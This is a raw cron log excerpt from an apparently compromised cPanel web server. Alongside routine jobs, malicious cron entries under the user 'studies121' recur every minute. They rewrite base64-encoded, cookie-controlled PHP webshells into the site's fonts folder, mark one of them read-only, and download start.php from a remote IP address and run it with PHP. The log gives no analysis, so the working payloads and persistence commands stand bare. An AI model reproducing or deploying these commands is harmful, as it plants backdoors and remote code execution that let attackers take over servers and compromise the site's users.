Sep 20 10:16:02 ip-184-168-122-23 CROND[19254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:16:02 ip-184-168-122-23 CROND[19255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:17:01 ip-184-168-122-23 CROND[19523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:17:01 ip-184-168-122-23 CROND[19525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:17:01 ip-184-168-122-23 CROND[19527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:17:01 ip-184-168-122-23 CROND[19526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:18:01 ip-184-168-122-23 CROND[19857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:18:01 ip-184-168-122-23 CROND[19858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:18:01 ip-184-168-122-23 CROND[19859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:18:01 ip-184-168-122-23 CROND[19860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:18:01 ip-184-168-122-23 CROND[19863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:19:01 ip-184-168-122-23 CROND[20124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:19:01 ip-184-168-122-23 CROND[20125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:19:01 ip-184-168-122-23 CROND[20126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:19:01 ip-184-168-122-23 CROND[20127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:20:01 ip-184-168-122-23 CROND[20385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:20:02 ip-184-168-122-23 CROND[20390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 10:20:02 ip-184-168-122-23 CROND[20391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 10:20:02 ip-184-168-122-23 CROND[20392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:20:02 ip-184-168-122-23 CROND[20394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:20:02 ip-184-168-122-23 CROND[20393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:20:02 ip-184-168-122-23 CROND[20389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:20:02 ip-184-168-122-23 CROND[20395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:20:02 ip-184-168-122-23 CROND[20396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:21:01 ip-184-168-122-23 CROND[20646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:21:01 ip-184-168-122-23 CROND[20651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:21:01 ip-184-168-122-23 CROND[20647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:21:01 ip-184-168-122-23 CROND[20652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:22:01 ip-184-168-122-23 CROND[20915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:22:01 ip-184-168-122-23 CROND[20917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:22:01 ip-184-168-122-23 CROND[20918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:22:01 ip-184-168-122-23 CROND[20919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:22:01 ip-184-168-122-23 CROND[20920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:23:01 ip-184-168-122-23 CROND[21263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:23:01 ip-184-168-122-23 CROND[21266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:23:01 ip-184-168-122-23 CROND[21265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:23:01 ip-184-168-122-23 CROND[21267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:24:01 ip-184-168-122-23 CROND[21515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:24:01 ip-184-168-122-23 CROND[21517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:24:01 ip-184-168-122-23 CROND[21516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:24:01 ip-184-168-122-23 CROND[21520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:24:01 ip-184-168-122-23 CROND[21519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:25:01 ip-184-168-122-23 CROND[21758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:25:01 ip-184-168-122-23 CROND[21761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:25:01 ip-184-168-122-23 CROND[21760]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 10:25:01 ip-184-168-122-23 CROND[21762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:25:01 ip-184-168-122-23 CROND[21763]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:25:01 ip-184-168-122-23 CROND[21764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:25:01 ip-184-168-122-23 CROND[21765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:26:01 ip-184-168-122-23 CROND[22008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:26:01 ip-184-168-122-23 CROND[22011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:26:01 ip-184-168-122-23 CROND[22010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:26:01 ip-184-168-122-23 CROND[22012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:26:01 ip-184-168-122-23 CROND[22013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:27:01 ip-184-168-122-23 CROND[22270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:27:01 ip-184-168-122-23 CROND[22273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:27:01 ip-184-168-122-23 CROND[22272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:27:01 ip-184-168-122-23 CROND[22274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:28:01 ip-184-168-122-23 CROND[22581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:28:01 ip-184-168-122-23 CROND[22584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:28:01 ip-184-168-122-23 CROND[22586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
